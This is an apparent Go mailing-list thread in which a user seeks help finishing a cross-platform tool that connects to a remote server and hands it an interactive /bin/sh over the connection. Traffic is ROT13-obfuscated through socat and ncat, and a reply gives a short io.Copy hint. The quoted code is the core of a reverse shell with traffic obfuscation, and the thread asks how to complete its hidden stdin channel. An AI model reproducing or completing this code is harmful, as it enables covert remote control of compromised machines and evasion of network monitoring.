Thanks for your suggestin!(: Can you make an example
here? https://play.golang.org/
Just to make the big picture more clear, this is what I'm trying to
achieve:
shell sends bytes on stdout, stderr —> Go tool does rot13 encode —> socat
does rot13 decode --> ncat server // this part is fine
ncat server —> socat does rot13 encode of the commands --> Go tool does
rot13 decode of stdin —> Go tool sends data to shell via stdin // here is
the problem with stdin
Il giorno giovedì 19 agosto 2021 alle 07:20:22 UTC+2 Tamás Gulácsi ha
scritto:
> You have to io.Copy(cmdStdin, os.Stdin) to use your program's stdin, and
> pipe it to the subprocess.
>
> hyo...@gmail.com a következőt írta (2021. augusztus 18., szerda, 17:50:24
> UTC+2):
>
>> The goal: I want to capture all the bytes of *cmd.Stdin* and process
>> them with this rot13 function: https://play.golang.org/p/VX2pwaIqhmT
>>
>> The story: I'm coding a small tool which will be cross compiled for both
>> win/ linux, so I'm trying to make it as simple as possible. This tool
>> connects to the server from which I can execute commands on the client.
>>
>> Since I had to do the same thing for cmd.Stdout, I used this:
>>
>> Where OBFprocessStream function is based on this one:
>> https://play.golang.org/p/j_TKZWuhGaK. Everything works fine here .
>>
>> ...
>>
>> conn, err := net.Dial(nObj.Type, nObj.TCPIndirizzo)
>>
>> ..
>>
>> cmd := exec.Command(/bin/sh, "-i") // please keep in mind that this is an
>> ***interactive***
>>
>> //***shell***, and not just a simple command
>>
>> cmd.Stdin = conn
>>
>> cmdStdout, err := cmd.StdoutPipe() // works fine
>>
>> if err != nil {
>>
>> fmt.Fprintf(os.Stderr, "error creating shell stdout pipe: %s\n", err)
>>
>> }
>>
>> cmd.Stderr = conn
>>
>> err = cmd.Start()
>>
>> if err != nil {
>>
>> fmt.Fprintf(os.Stderr, "error starting shell: %s\n", err)
>>
>> }
>>
>> .
>>
>> err = OBFprocessStream(cmdStdout, conn) // works fine
>>
>>
>>
>> So, I tried to replicate the same thing for cmd.Stdin:
>>
>> ...
>>
>> conn, err := net.Dial(nObj.Type, nObj.TCPIndirizzo)
>>
>> ..
>>
>> cmd := exec.Command(/bin/sh, "-i")
>>
>> cmdStdin, err := cmd.StdinPipe()
>>
>> if err != nil {
>>
>> fmt.Fprintf(os.Stderr, "error creating shell stdin pipe: %s\n", err)
>>
>> }
>>
>> cmdStdout, err := cmd.StdoutPipe()
>>
>> if err != nil {
>>
>> fmt.Fprintf(os.Stderr, "error creating shell stdout pipe: %s\n", err)
>>
>>
>> }
>>
>> cmd.Stderr = conn
>>
>> err = cmd.Start()
>>
>> if err != nil {
>>
>> fmt.Fprintf(os.Stderr, "error starting shell: %s\n", err)
>>
>> }
>>
>> .
>>
>> err = INOBFprocessStream(cmdStdin, conn)
>>
>> .
>>
>> err = OBFprocessStream(cmdStdout, conn)
>>
>>
>>
>> But.. cmdStdin is an Io.WriterCloser, and I don't really know what to do
>> to capture the bytes sEGIHOsegoihszrhoiò
>>
>> Can you please help me?
>>
>
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